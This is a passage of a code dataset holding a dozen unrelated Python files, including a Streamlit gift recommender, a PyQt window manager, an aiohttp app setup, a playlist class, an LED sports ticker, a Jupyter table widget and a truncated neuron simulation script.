else:\n self.messageBox = QMessageBox.information(self, 'inference pass', \"don't give \" + str(result[0][0]),QMessageBox.Ok)\n self.layout.addWidget(self.messageBox)\n print(\"successfuly pass inference: \", self.model_.inference())\n\n def get_textbox_value(self, i):\n return self.textboxSubmitList[i].displayText()\n\t\t\ndef main():\n app = QApplication(sys.argv)\n ex = combodemo()\n ex.show()\n sys.exit(app.exec_())\n\nif __name__ == '__main__':\n main()\n","sub_path":"bank_systems/bank_automated_ctl/kursain/kursain.py","file_name":"kursain.py","file_ext":"py","file_size_in_byte":11040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"547038931","text":"import random\n\ndef play():\n user = input(\"Choose 'r' for rock, 'p' for paper and 's' for scissors: \")\n computer = random.choice(['r', 'p', 's'])\n\n if user == computer:\n return 'It\\'s a tie'\n # r > s, s > p, p > r\n if win(user, computer):\n return 'You won!'\n\n return 'Computer won!'\n\ndef win(player, opponent):\n # return true if player wins\n if (player=='r' and opponent =='s') or (player=='s' and opponent=='p') \\\n or (player == 'p' and opponent == 'r'):\n return True\n\nplay()","sub_path":"pyBasics/shortPyApps/_18_rock_paper_scissors.py","file_name":"_18_rock_paper_scissors.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248268583","text":"# -*- coding:utf8 -*-\r\n\r\n#Premiers pas avec openCV\r\n\r\nimport cv2\r\nfrom PIL import ImageGrab\r\n\r\ncapture = cv2.VideoCapture(0) #vive la webcam de m****\r\nret, frame = capture.read()\r\nprint('ret:', ret)\r\n\r\nwhile True:\r\n\tret, frame = capture.read()\r\n\tcv2.imshow('webcam', frame)\r\n\t\r\n\t#pour sortir\r\n\tif cv2.waitKey(1) & 0xFF == ord('q'):\r\n\t\tbreak\r\n\r\n#close\r\ncapture.release()\r\ncv2.destroyAllWindows()","sub_path":"premiers_pas.py","file_name":"premiers_pas.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"333561860","text":"#Import Standard Libraries\nimport os\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\nimport pickle\nimport string\nimport re\nimport nltk\nimport spacy\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nfrom sklearn.metrics.pairwise import euclidean_distances\nfrom sklearn.preprocessing import LabelEncoder\nimport base64\n\n#Import API and Modelling Functions\nfrom keys import *\nfrom data_collection import get_user_tweets\nfrom data_cleaning import spacy_lemmatize, deEmojify, tweet_preprocess\nfrom classifier import user_tweet_df, TweetCategory\nfrom recommender import output_to_vector, euclidean_rec\n\n#Path of Tweets\nTWEET_PATH = '/Users/michaelhalim/Desktop/Lighthouse Labs/gift-recommender/tweets/'\nMODEL_PATH = '/Users/michaelhalim/Desktop/Lighthouse Labs/gift-recommender/final-outputs/models/linear_svc_final_model.sav'\nVECTORIZER_PATH = '/Users/michaelhalim/Desktop/Lighthouse Labs/gift-recommender/final-outputs/models/tfidf_vectorizer_final.sav'\nREFERENCE_PATH = '/Users/michaelhalim/Desktop/Lighthouse Labs/gift-recommender/final-outputs/models/reference-dict.pickle'\nPRODUCT_PATH = '/Users/michaelhalim/Desktop/Lighthouse Labs/gift-recommender/final-outputs/datasets/amazon_gift_items_clean.csv'\n\n#Define Variables for Data Cleaning\nstopwords = nltk.corpus.stopwords.words('english')\nstopwords.extend(['im', \"oh\", \"i'm\", \"lol\", \"gonna\", 'ill'])\npunctuations = string.punctuation\nnlp = spacy.load('en_core_web_sm')\n\n#Import Models\novr_svc = pickle.load(open(MODEL_PATH, 'rb'))\ntfidf_model = pickle.load(open(VECTORIZER_PATH, 'rb'))\nref = pickle.load(open(REFERENCE_PATH, 'rb'))\n\n#Import Product Dataframe\nle = LabelEncoder()\nproduct_df = pd.read_csv(PRODUCT_PATH)\nproduct_df.drop('Unnamed: 0', axis=1, inplace=True)\nproduct_df['product_label'] = le.fit_transform(product_df['product_name'])\nproduct_matrix = product_df.drop(['product_name', 'rating', 'price', 'product_desc', 'categories', \n 'main_category', 'image_link', 'link'], axis=1).set_index('product_label')\n\ndef draw_header():\n st.set_page_config(layout=\"wide\")\n LOGO_IMAGE = 'app-image/logo-final.png'\n st.markdown(\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n if warning == 'user_not_found':\n st.markdown('

Sorry, Twitter account cannot be accessed. Is this user public?

', unsafe_allow_html=True)\n elif warning == 'tweet_not_found':\n st.markdown('

Sorry, there are no Tweets in this account. Is this user active?

', unsafe_allow_html=True)\n elif warning == 'no_categories':\n st.markdown('

Sorry, we\\'re not able to identify any gift categories.

', unsafe_allow_html=True)\n\ndef show_topics(twitter_handle, outcome):\n st.markdown(\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n recommended_text = \"Gift Categories for {}:\".format(twitter_handle)\n recommended_html = '

' + recommended_text + '

'\n recommended_products = \"{}, {}, {}\".format(outcome[0], outcome[1], outcome[2])\n recommended_products_html = '

' + recommended_products + '

'\n st.markdown('
', unsafe_allow_html=True)\n st.markdown(recommended_html, unsafe_allow_html=True)\n st.markdown(recommended_products_html, unsafe_allow_html=True)\n\ndef show_products(twitter_handle, products, product_df):\n st.markdown(\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n\n recommend_text = \"{} may like...\".format(twitter_handle)\n recommend_html = '

' + recommend_text + '

'\n st.markdown(recommend_html, unsafe_allow_html=True)\n\n st.markdown(\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n\n item1_text = \"{}\".format(products[0])\n item1_link = product_df[product_df['product_name'] == products[0]]['link'].iloc[0]\n item1_html = '

' + '' + item1_text + '

'\n image1_link = product_df[product_df['product_name'] == products[0]]['image_link'].iloc[0]\n\n item2_text = \"{}\".format(products[1])\n item2_link = product_df[product_df['product_name'] == products[1]]['link'].iloc[0]\n item2_html = '

' + '' + item2_text + '

'\n image2_link = product_df[product_df['product_name'] == products[1]]['image_link'].iloc[0]\n\n item3_text = \"{}\".format(products[2])\n item3_link = product_df[product_df['product_name'] == products[2]]['link'].iloc[0]\n item3_html = '

' + '' + item3_text + '

'\n image3_link = product_df[product_df['product_name'] == products[2]]['image_link'].iloc[0]\n\n item4_text = \"{}\".format(products[3])\n item4_link = product_df[product_df['product_name'] == products[3]]['link'].iloc[0]\n item4_html = '

' + '' + item4_text + '

'\n image4_link = product_df[product_df['product_name'] == products[3]]['image_link'].iloc[0]\n\n item5_text = \"{}\".format(products[4])\n item5_link = product_df[product_df['product_name'] == products[4]]['link'].iloc[0]\n item5_html = '

' + '' + item5_text + '

'\n image5_link = product_df[product_df['product_name'] == products[4]]['image_link'].iloc[0]\n\n item6_text = \"{}\".format(products[5])\n item6_link = product_df[product_df['product_name'] == products[5]]['link'].iloc[0]\n item6_html = '

' + '' + item6_text + '

'\n image6_link = product_df[product_df['product_name'] == products[5]]['image_link'].iloc[0]\n\n div1_html = \"\"\"\n
\n
\n \"\"\" + item1_html + '''\n
''' + \"\"\"
\n \"\"\" + item2_html + '''
''' + \"\"\"
\n \"\"\" + item3_html + '''
''' \n \n div2_html = \"\"\"\n
\n
\n \"\"\" + item4_html + '''\n
''' + \"\"\"
\n \"\"\" + item5_html + '''
''' + \"\"\"
\n \"\"\" + item6_html + '''
''' \n\n st.markdown(div1_html, unsafe_allow_html=True)\n st.markdown(div2_html, unsafe_allow_html=True)\n\ndef main():\n\n draw_header()\n\n buff, col, buff2 = st.beta_columns([1,2,1])\n label_format = st.markdown(\"\"\"\n \"\"\", unsafe_allow_html=True)\n col.markdown('

Who are you buying a gift for?

', unsafe_allow_html=True)\n twitter_handle = col.text_input(\"Enter Twitter Handle/Username!\")\n button_format = st.markdown(\"\"\"\n \"\"\", unsafe_allow_html=True)\n enter = col.button('Enter')\n\n if enter:\n try:\n filename = open(TWEET_PATH + twitter_handle + '.sav', 'rb')\n tweets = pickle.load(filename)\n except:\n error_message('user_not_found')\n else:\n try:\n tweet_df = user_tweet_df(tweets)\n except:\n error_message('tweet_not_found')\n else:\n key = {v: k for k, v in ref.items()}\n user_tweet = TweetCategory(ovr_svc, tfidf_model, tweet_df, key)\n user_tweet.process_user_tweets()\n top_topics = user_tweet.predict_topics(0, 0.2)\n\n try:\n outcome = top_topics.reset_index()['index'].to_list()\n show_topics(twitter_handle, outcome)\n except:\n error_message('no_categories')\n else:\n topic_labels = [ref[i] for i in outcome]\n user_df = output_to_vector(topic_labels, product_matrix)\n rec_prod = euclidean_rec(user_df, product_matrix, 6, le)\n show_products(twitter_handle, rec_prod, product_df)\n\nmain()","sub_path":"scripts/app-nt.py","file_name":"app-nt.py","file_ext":"py","file_size_in_byte":11568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58279308","text":"import sys, glob, os\nfrom PyQt4 import uic\nfrom PyQt4 import QtGui, QtCore\nimport Utils.tools as tools\n\nclass StandAloneContainer(QtGui.QMainWindow):\n\tdef __init__(self, ClassObject):\n\t\tsuper(QtGui.QMainWindow, self).__init__()\n\t\tw = ClassObject()\n\t\tself.setCentralWidget(w)\n\t\tself.setWindowTitle( w.title )\n\n\t\tfor key, dock in w.docks.items():\n\t\t\tside = QtCore.Qt.RightDockWidgetArea\n\t\t\tif key=='left':\n\t\t\t\tside = QtCore.Qt.LeftDockWidgetArea\n\t\t\telif key=='right':\n\t\t\t\tside = QtCore.Qt.RightDockWidgetArea\n\t\t\telif key=='top':\n\t\t\t\tside = QtCore.Qt.TopDockWidgetArea\n\t\t\telif key=='bottom':\n\t\t\t\tside = QtCore.Qt.BottomDockWidgetArea\n\t\t\tif isinstance(dock,list):\n\t\t\t\tfor x in dock: self.addDockWidget( side , x.form )\n\t\t\telse:\n\t\t\t\tself.addDockWidget( side , dock.form )\n\n\n\t\tif len(w.mainmenu)>0: self.__initMainMenu( w.mainmenu )\n\n\t\t\n\tdef __initMainMenu(self, options, keys={}):\n\t\tmenubar = self.menuBar()\n\t\tfor m in options:\n\t\t\tfor key, menus in m.items():\n\t\t\t\tmenu = menubar.addMenu( key )\n\t\t\t\tfor m1 in menus:\n\t\t\t\t\tif isinstance(m1, str) and m1==\"-\":\n\t\t\t\t\t\tmenu.addSeparator()\n\t\t\t\t\telse:\n\t\t\t\t\t\tfor text, func in m1.items():\n\t\t\t\t\t\t\taction = QtGui.QAction(text, self)\n\t\t\t\t\t\t\tif func:\n\t\t\t\t\t\t\t\taction.triggered.connect(func)\n\t\t\t\t\t\t\t\tmenu.addAction(action)\n\n\ndef startApp(ClassObject):\n\tapp = QtGui.QApplication(sys.argv)\n\tw = StandAloneContainer(ClassObject)\n\tw.show()\n\tapp.exec_()","sub_path":"pyforms/standaloneManager.py","file_name":"standaloneManager.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"387657690","text":"import pandas as pd\n\nf_code=open('/home/zxq/code/var_attacker/data/java/train/code.original_subtoken','r')\nf_summ=open('/home/zxq/code/var_attacker/data/java/train/javadoc.original','r')\n\ncode=[]\nsumm=[]\n\nfor c,s in zip(f_code,f_summ):\n code.append(c)\n summ.append(s)\n\nindex_list=[i for i in range(len(code))]\n\ndf=pd.DataFrame({'index':index_list,'code':code,'summ':summ})\n\nprint(df)\ndf=df.iloc[0:69696]\ndf.to_pickle('/home/zxq/code/var_attacker/attacker/encoder/train_data.pkl')\n\n\n\n","sub_path":"adversarial examples generation/trans and lstm/encoder/data_to_pkl.py","file_name":"data_to_pkl.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18863414","text":"import base64\nimport aiohttp_jinja2\nimport jinja2\n\nfrom aiohttp import web\nfrom aiohttp.web import middleware\nfrom aiohttp_session import get_session, setup\nfrom aiohttp_session.cookie_storage import EncryptedCookieStorage\nfrom aioauth_client import GoogleClient\n\nfrom . import models, redis, routes, settings\n\n\n@middleware\nasync def user_middleware(request, handler):\n session = await get_session(request=request)\n request.user = None\n request.info = None\n\n if 'display_name' in session:\n request.id = session['google_id']\n request.displayName = session['display_name']\n request.email = session['email']\n else:\n return web.HTTPFound(request.app.config.OAUTH_REDIRECT_PATH)\n response = await handler(request)\n return response\n\n\nasync def close_redis(app):\n app.redis.close()\n await app.redis.wait_closed()\n\n\nasync def build_application():\n app = web.Application()\n\n setup(app=app, storage=EncryptedCookieStorage(\n secret_key=base64.urlsafe_b64decode(settings.SECRET_KEY)))\n app.middlewares.append(user_middleware)\n\n app.config = settings\n aiohttp_jinja2.setup(app=app, loader=jinja2.PackageLoader('workplace', 'templates'))\n\n await models.setup(app)\n app.on_cleanup.append(models.close)\n\n await redis.setup(app)\n app.on_shutdown.append(redis.close)\n\n await routes.setup(app)\n\n return app\n","sub_path":"workplace/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201234361","text":"\"\"\"playlist.py -- generic playlist class\r\n\r\nsettings are in playlist_settings.py\r\n\"\"\"\r\nfrom random import shuffle\r\nimport playlist_settings\r\nimport os\r\n\r\nclass Playlist:\r\n def __init__(self):\r\n self.playlist = []\r\n self.position = 0\r\n self.load_from_file()\r\n\r\n # load the playlist from an m3u file\r\n def load_from_file(self, filename=playlist_settings.filename):\r\n playlist_file = open(filename)\r\n self.playlist = [line.rstrip(\"\\r\\n\") for line in playlist_file]\r\n playlist_file.close()\r\n self.reshuffle()\r\n \r\n # save to m3u file (note: they'll be in a random order unless you call it from rescan())\r\n def save_to_file(self, filename=playlist_settings.filename):\r\n playlist_file = open(filename, \"wb\")\r\n playlist_file.writelines(path + \"\\r\\n\" for path in self.playlist)\r\n playlist_file.close()\r\n \r\n # scan all the song directories for files and repopulate the playlist\r\n def rescan(self, dirs=playlist_settings.scan_directories, extensions=playlist_settings.scan_extensions, save_to=playlist_settings.filename):\r\n del self.playlist[:]\r\n extensions = dict([(ext, 1) for ext in extensions])\r\n for dir in dirs:\r\n for (dirpath, dirnames, filenames) in os.walk(dir):\r\n for filename in filenames:\r\n (name, ext) = os.path.splitext(filename)\r\n if ext.lower() in extensions:\r\n full_path = os.path.join(dirpath, filename)\r\n self.playlist.append(full_path)\r\n self.save_to_file(save_to)\r\n self.reshuffle()\r\n \r\n # try to jump to the song, and return whether it was actually found in the playlist\r\n def jump(self, path):\r\n try:\r\n self.position = self.playlist.index(path)\r\n return True\r\n except ValueError:\r\n return False\r\n \r\n def enqueue_after_current(self, path):\r\n try:\r\n self.playlist.remove(path)\r\n self.playlist.insert(self.position + 1, path)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\n def reshuffle(self):\r\n self.position = 0\r\n shuffle(self.playlist)\r\n\r\n def next(self):\r\n self.position += 1\r\n if(self.position == len(self.playlist)):\r\n self.reshuffle()\r\n \r\n def current(self):\r\n return self.playlist[self.position]\n","sub_path":"playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569289718","text":"#!/usr/bin/env python3\n\n\ndef getFunction(name):\n return {\n \"AND\": lambda a, b: a & b,\n \"OR\": lambda a, b: a | b,\n \"LSHIFT\": lambda a, b: a << b,\n \"RSHIFT\": lambda a, b: a >> b,\n }.get(name)\n\n\ndef getVal(wires, name, hasVal, val):\n def get(x): return getVal(wires, x, hasVal, val)\n\n if hasVal.get(name, False):\n return val[name]\n elif name.isdigit():\n hasVal[name] = True\n val[name] = int(name)\n return int(name)\n\n connections = wires[name]\n conLen = len(connections)\n\n # lol no switch\n ret = 0\n if conLen == 1:\n ret = get(connections[0])\n elif conLen == 2:\n ret = ~get(connections[1])\n elif conLen == 3:\n ret = (getFunction(connections[1])\n (get(connections[0]), get(connections[2])))\n else:\n return None # Error\n\n ret &= 0xffff\n\n hasVal[name] = True\n val[name] = ret\n\n return ret\n\n\ndef main():\n lines = [x.strip().split(' -> ') for x in open('../input/07').readlines()]\n wires = {}\n\n for line in lines:\n wires[line[1]] = line[0].split(' ')\n\n firstA = getVal(wires, \"a\", {}, {})\n secondA = getVal(wires, \"a\", {\"b\": True}, {\"b\": firstA})\n\n print(firstA)\n print(secondA)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"2015/py/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183161503","text":"total=int(input())\npositivos=0\nnegativos=0\nzeros=0\nleitura=input()\nv=leitura.split()\nv_int=[int(n)for n in v]\nfor i in v_int:\n if(i>0):\n positivos+=1\n #print(\"positivo\")\n elif(i==0):\n zeros+=1\n #print(\"zero\")\n elif(i<0):\n negativos+=1\n #print(\"negativo\")\n \n \nprint(positivos/total)\nprint(negativos/total)\nprint(zeros/total)\n\n \n ","sub_path":"Algorithms/warmup/ex3_hackerrank.py","file_name":"ex3_hackerrank.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195814127","text":"from collections import defaultdict\n\ninstructions = tuple(\n tuple(map(lambda x: x if x.isalpha() else int(x), line.rstrip().split(' ')))\n for line in open('input.txt')\n)\n\nregisters = defaultdict(lambda: 0)\nindex, mul_count = 0, 0\n\nwhile 0 <= index < len(instructions):\n instruction, arg_x, arg_y = instructions[index]\n arg_y = arg_y if type(arg_y) == int else registers[arg_y]\n\n if instruction == 'set':\n registers[arg_x] = arg_y\n elif instruction == 'sub':\n registers[arg_x] -= arg_y\n elif instruction == 'mul':\n registers[arg_x] *= arg_y\n mul_count += 1\n else:\n index += 1 if (arg_x if type(arg_x) == int else registers[arg_x]) == 0 else arg_y\n continue\n\n index += 1\n\nprint('part 1:', mul_count)\n","sub_path":"2017/day23/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"148799675","text":"import sys\nimport os\nimport time\nimport requests\nfrom rgbmatrix import RGBMatrix, RGBMatrixOptions, graphics\n\n# PhillyAPI Auth\nuserid = os.environ.get(\"USERID\")\npassword = os.environ.get(\"PASSWORD\")\n\n# Configuration for the matrix\noptions = RGBMatrixOptions()\noptions.scan_mode = 0\noptions.pwm_lsb_nanoseconds = 130\noptions.pwm_bits = 6\noptions.show_refresh_rate = 0\noptions.gpio_slowdown = 2\noptions.rows = 16\noptions.chain_length = 4\noptions.parallel = 1\noptions.hardware_mapping = \"adafruit-hat-pwm\"\noptions.drop_privileges=False\nfont_filename = \"9x15B.bdf\"\nticker_speed = 0.03\n\n\ndef grab_team_info(team):\n base_url = \"https://gophillyscores.herokuapp.com/\"\n team_info = base_url + team\n\n try:\n team_info = requests.get(team_info, auth=(userid, password))\n return team_info.text[:-1]\n \n except requests.exceptions.ConnectionError as e:\n print(\"Could not connect to endpoint:\")\n print(e)\n except requests.exceptions.HTTPError as e:\n print(\"Http error:\")\n print(e)\n except Exception as e:\n print(\"Unknown error:\")\n print(type(e))\n print(e)\n\n\ndef led_scroll_text(team, text_color):\n matrix = RGBMatrix(options=options)\n offscreen_canvas = matrix.CreateFrameCanvas()\n cwd = os.path.dirname(__file__)\n font_path = os.path.join(cwd, font_filename)\n font = graphics.Font()\n font.LoadFont(font_path)\n textColor = graphics.Color(*text_color)\n pos = offscreen_canvas.width\n print(f'Fetching info for {team}')\n scroll_text = grab_team_info(team)\n count = 0\n\n while True:\n offscreen_canvas.Clear()\n len = graphics.DrawText(offscreen_canvas, font, pos, 13, textColor, scroll_text)\n pos -= 1\n if pos + len < 0:\n pos = offscreen_canvas.width\n break\n \n time.sleep(ticker_speed)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n \n \nif __name__ == \"__main__\":\n eagles_color = 4, 106, 56\n flyers_color = 247,73,2\n phillies_color = 232,24,40\n psu_color = 4,30,66\n sixers_color = 237, 23, 76\n\n\n print(\"Starting...\")\n while True:\n led_scroll_text(\"eagles\", eagles_color)\n led_scroll_text(\"flyers\", flyers_color)\n led_scroll_text(\"phillies\", phillies_color)\n led_scroll_text(\"psu\", psu_color)\n led_scroll_text(\"sixers\", sixers_color)\n\n","sub_path":"ticker/philly_ticker.py","file_name":"philly_ticker.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500331012","text":"from traitlets import Unicode, Float, Bool, Int, validate, observe, List\nfrom ipywidgets import DOMWidget, Layout, VBox, HBox, jsdlink, HTML, BoundedIntText\nfrom IPython import get_ipython\nimport traceback\n\nfrom ..math import dimensional_split\nfrom ..j_log import log\nfrom .customwidgets import ToolBar, RichLabel, HierarchyBar, VSpace, TinyLoading, HSpace\nfrom .import_js import import_js, AutoImportDOMWidget\n\nfrom io import BytesIO\nimport numpy as np\nimport cv2\nimport base64\n\n\nclass SimpleDatabaseView(AutoImportDOMWidget):\n _view_name = Unicode('DatabaseView').tag(sync=True)\n _view_module = Unicode('gdatabaseview').tag(sync=True)\n _view_module_version = Unicode('0.1.0').tag(sync=True)\n _database_last_id = 0\n\n name = Unicode('nom').tag(sync=True)\n length = Int(0).tag(sync=True)\n visible = Bool(True).tag(sync=True)\n columns_name = Unicode('').tag(sync=True)\n columns_width = List().tag(sync=True)\n limit = Int(20).tag(sync=True)\n offset = Int(0).tag(sync=True)\n cache_progress = Float(0).tag(sync=True)\n clear_cache_data = Bool(False).tag(sync=True)\n _database_id = Unicode('000').tag(sync=True)\n\n def __init__(self, **kwargs):\n SimpleDatabaseView._database_last_id += 1\n db_id = str(SimpleDatabaseView._database_last_id)\n get_ipython().kernel.comm_manager.register_target('database_comm'+db_id, self.register_target)\n super(SimpleDatabaseView, self).__init__(layout=Layout(width='100%'), dependencies=('DatabaseView',),\n _database_id=db_id, **kwargs)\n self.retreive_data = None\n self.retreive_fullscreen = None\n self.retreive_row_name = None\n\n def register_target(self, comm, msg):\n self.db_comm = comm\n\n @comm.on_msg\n def _recv(msg):\n if self.retreive_data is None:\n return\n try:\n msg = msg['content']['data']\n request = msg[0]\n pos = msg[1:].split(',')\n if len(pos) == 2:\n row, col = [int(_) for _ in pos]\n channel = 0\n elif len(pos) == 3:\n row, col, channel = [int(_) for _ in pos]\n else:\n return\n\n if request == 'm':\n data, fullscreenable = self.retreive_data(row, col)\n if isinstance(data, tuple):\n nw, nh = dimensional_split(len(data))\n data = '#%i,%i|' % (nw, nh) + ' '.join(data)\n comm.send(('f' if fullscreenable else '-') + data)\n elif request == 'f':\n # --- SHOW IN FULLSCREEN ---\n data = self.retreive_fullscreen(row, col, channel)\n comm.send('$' + data)\n except:\n error_msg = 'Error when retreiving [%i,%i]...\\n' % (row, col)\n error_msg += traceback.format_exc()\n log.error(error_msg)\n\n # old\n def _recv_old(msg):\n if self.retreive_data is None:\n return\n try:\n msg = msg['content']['data']\n request = msg[0]\n pos = msg[1:].split(',')\n if len(pos) == 2:\n row, col = [int(_) for _ in pos]\n channel = 0\n elif len(pos) == 3:\n row, col, channel = [int(_) for _ in pos]\n else:\n return\n\n data = self.retreive_data(row, col)\n if request == 'm':\n # --- CREATE MINIATURE ---\n if isinstance(data, str):\n # --- String ---\n data = '

%s

' % data\n elif 'int' in str(type(data)):\n # --- Integer ---\n data = '

%i

' % data\n elif 'float' in str(type(data)):\n # --- Float ---\n data = '

%f

' % data\n elif isinstance(data, np.ndarray):\n # --- Numpy Array ---\n if len(data.shape) == 3 or (len(data.shape) == 2 and data.shape[0] > 5):\n # -- Images --\n img_temp = ''\n if len(data.shape) == 2 or data.shape[0] == 1 or data.shape[0] == 3:\n data = img_temp % str(SimpleDatabaseView._img2png(data, thumbnail=(128, 128)))[2:-1]\n elif data.shape[0] % 3 == 0:\n n = data.shape[0] // 3\n nw, nh = dimensional_split(n)\n img = data\n data = '#%i,%i|' % (nw, nh)\n for i in range(n):\n data += img_temp % str(SimpleDatabaseView._img2png(img[i*3:(i+1)*3], thumbnail=(128, 128)))[2:-1]\n\n else:\n nw, nh = dimensional_split(data.shape[0])\n img = data\n data = '#%i,%i|' % (nw, nh)\n for i in range(img.shape[0]):\n data += img_temp % str(SimpleDatabaseView._img2png(img[i], thumbnail=(128, 128)))[2:-1]\n\n else:\n # -- Plot --\n # log.debug('\\tunknown: %s' % repr(data))\n data = '

%s

' % data\n\n comm.send(data)\n\n elif request == 'f' and isinstance(data, np.ndarray):\n # --- SHOW IN FULLSCREEN ---\n if len(data.shape) == 3 or (len(data.shape) == 2 and data.shape[0]>5):\n # -- Images --\n if len(data.shape) == 2 or data.shape[0] == 1 or data.shape[0] == 3:\n pass\n elif data.shape[0] % 3 == 0:\n data = data[channel*3:(channel+1)*3]\n else:\n data = data[channel]\n # -- Legend --\n legend = ''\n if self.retreive_row_name:\n legend = '

%s

'\n legend += '

min: %f
max: %f
mean: %f
std: %f

'\\\n % (data.min(), data.max(), data.mean(), data.std())\n # -- Send data --\n data = 'I data:image/png;base64, %s||data:image/png;base64, %s||%s' % \\\n (str(SimpleDatabaseView._img2png(data, thumbnail=(128, 128)))[2:-1],\n str(SimpleDatabaseView._img2png(data, thumbnail=(1024, 1024)))[2:-1],\n legend)\n comm.send('$'+data)\n except:\n error_msg = 'Error when retreiving [%i,%i]...\\n' % (row, col)\n error_msg += traceback.format_exc()\n log.error(error_msg)\n\n\n @staticmethod\n def _img2png(img, normalize=False, normalize_img=None, thumbnail=None, keep_ratio=True):\n if len(img.shape) == 3:\n img = img.transpose((1, 2, 0))\n if img.shape[2] == 1:\n img = img[:, :, 0]\n\n if normalize_img is None:\n normalize_img = img\n\n if np.max(normalize_img) <= 1. and np.min(normalize_img) >= 0 and not normalize:\n img = img * 255.\n elif np.max(normalize_img) < 20:\n normalize = True\n\n if normalize:\n img = img - np.min(normalize_img)\n img = img / (np.max(normalize_img) - np.min(normalize_img)) * 255.\n\n if thumbnail is not None:\n if keep_ratio:\n if len(img.shape) == 2:\n h, w = img.shape\n else:\n h, w, l = img.shape\n ratio = h / w\n mindim = min(thumbnail[0] * ratio, thumbnail[1])\n thumbnail = (round(mindim / ratio), round(mindim))\n img = cv2.resize(img, thumbnail, interpolation=cv2.INTER_AREA)\n return base64.b64encode(cv2.imencode('.png', img)[1])[2:-1]\n\n def reset(self):\n self.clear_cache_data = True\n\n\nclass DatabaseView(VBox):\n def __init__(self, path):\n self.db_view = SimpleDatabaseView()\n\n toolbar = ToolBar(['eye-slash', 'list', 'image'], exclusive=True, current=0)\n self.toolbar = toolbar\n self.hierarchy_bar = HierarchyBar(path, layout=Layout(width='70%'))\n self.length_label = RichLabel('[0]')\n self.header = HBox([toolbar, HTML(layout=Layout(width='25px')),\n self.hierarchy_bar, HTML(layout=Layout(width='40px')),\n self.length_label], layout=Layout(align_content='flex-end'))\n\n self.offset_edit = BoundedIntText(description='offset: ', value=self.db_view.offset, min=0,\n layout=Layout(width='150px'))\n self.limit_edit = BoundedIntText(description='limit: ', value=self.db_view.limit, min=0, max=self.db_view.limit,\n layout=Layout(width='150px'))\n self.progress = TinyLoading(layout=Layout(width='150px'))\n self.foot = HBox([self.offset_edit, self.limit_edit, HSpace(), self.progress],\n layout=Layout(align_items='center'))\n\n jsdlink((self.offset_edit, 'value'), (self.db_view, 'offset'))\n jsdlink((self.limit_edit, 'value'), (self.db_view, 'limit'))\n jsdlink((self.db_view, 'cache_progress'), (self.progress, 'value'))\n\n def toolbar_handling(button_id):\n self.db_view.visible = button_id != 0\n self.foot.layout.display = 'none' if button_id == 0 else 'flex'\n self.toolbar.on_button_clicked(toolbar_handling)\n toolbar_handling(0)\n\n super(DatabaseView, self).__init__([self.header, VSpace(), self.db_view, self.foot])\n\n @property\n def length(self):\n return self.db_view.length\n\n @length.setter\n def length(self, l):\n self.db_view.length = l\n self.length_label.value = '[%i rows]' % l\n self.limit_edit.max = l\n self.offset_edit.max = l-1\n\n @property\n def name(self):\n return self.name_label.value\n\n @property\n def columns_name(self):\n return self.db_view.columns_name.split('|')\n\n @columns_name.setter\n def columns_name(self, names):\n self.db_view.columns_name = str('|').join(names)\n\n","sub_path":"lib/junno/j_utils/ipython/databaseview.py","file_name":"databaseview.py","file_ext":"py","file_size_in_byte":10804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351993888","text":"#!/usr/bin/env python\n# fixed_network_changing_stim.py ---\n# Author: Subhasis Ray\n# Created: Wed Sep 19 17:28:00 2018 (-0400)\n# Last-Updated: Tue Oct 1 17:35:39 2019 (-0400)\n# By: Subhasis Ray\n# Version: $Id$\n\n# Code:\n\"\"\"This script is for simulating a reduced and fixed Mushroom body\nnetwork with connectivity info specified in input files.\n\nIt should take the base spike trains for PNs from input file and add some\nrandom noise to represent noisy signal. It can be used for simulating\nmultiple trials of the same stimulus. The identity of the\nactivated/inhibited PNs will represent the odor identity in a manner\nsimilar to Assisi, et al, 2007.\n\n\"\"\"\nimport sys\nimport os\nfrom datetime import datetime\nimport argparse\nimport numpy as np\nimport h5py as h5\nimport yaml\nfrom timeit import default_timer as timer\nfrom neuron import h\nimport nsdf\n\nimport config as cfg\nimport nrnutils as nu\nimport neurograph as ng\nimport ephys\nfrom ig import IGIzhi\n\nh.load_file('stdrun.hoc')\n\nggn_file = os.path.join(os.environ['HOME'], 'projects', 'ggn', 'mb',\n 'cell_templates', 'GGN_20170309_sc.hoc')\nkc_file = os.path.join(os.environ['HOME'], 